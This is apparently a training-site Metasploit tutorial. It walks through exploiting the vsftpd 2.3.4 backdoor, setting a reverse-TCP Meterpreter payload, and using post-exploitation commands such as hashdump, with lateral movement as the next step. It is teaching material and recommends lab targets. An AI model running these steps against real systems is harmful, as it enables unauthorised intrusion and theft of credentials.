Metasploit Tutorial
Metasploit is an exploitation framework that turns a known vulnerability into a working attack. The workflow is always the same: search for a module that matches your target, set the required options, choose a payload, and run it. When it works you get a session, and a Meterpreter session gives you a powerful foothold to work from.
What Metasploit is
Metasploit packages exploits, payloads and post exploitation tools into one framework. Instead of writing an exploit from scratch, you use a tested module, configure it for your target, and fire. It is the fastest path from a known vulnerability to a shell.
Starting the console
msfconsoleThe console is where everything happens. It has its own commands, tab completion and help. Give it a few seconds to load.
The core workflow
| Step | Command |
|---|---|
| Search for a module | search [term] |
| Select it | use [module path] |
| See options | show options |
| Set a target | set RHOSTS [ip] |
| Choose payload | set PAYLOAD [payload] |
| Run | exploit |
A worked example
Searching, selecting and configuring:
search type:exploit name:vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
show options
set RHOSTS 10.10.10.5
exploitPayloads matter
The exploit gets you in; the payload decides what you get. A staged Meterpreter payload is the usual choice because Meterpreter is far more capable than a plain shell.
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST [your ip]Meterpreter: the foothold
Once you have a Meterpreter session, the real work starts.
| Command | Does |
|---|---|
| sysinfo | Target details |
| getuid | Who you are |
| ps | Running processes |
| hashdump | Dump password hashes |
| shell | Drop to a system shell |
What to do after the shell
Landing a session is not the finding. From here you enumerate for privilege escalation, harvest credentials, and look for lateral movement. On Windows this leads into Active Directory attacks, covered in Active Directory attacks.
Metasploit is a tool, not a skill
Metasploit makes known exploits easy. It does not teach you why they work, and it will not help against anything without a ready module. Learn the underlying vulnerability, then use the framework to move faster. Manual first, always.
Common mistakes
- Wrong LHOST, so the reverse connection never comes back
- Firewall blocking the payload port
- Using Metasploit before understanding the vulnerability
- Choosing a plain shell when Meterpreter was available
Practise this
Run this against deliberately vulnerable machines, not real targets. Free labs on Hacklido. Pair this with the Nmap tutorial for the full recon to exploitation flow.
Enroll in VAPT
Live instructor led training with hands on labs and a verifiable certificate. Or start free on Hacklido.
Enroll in VAPT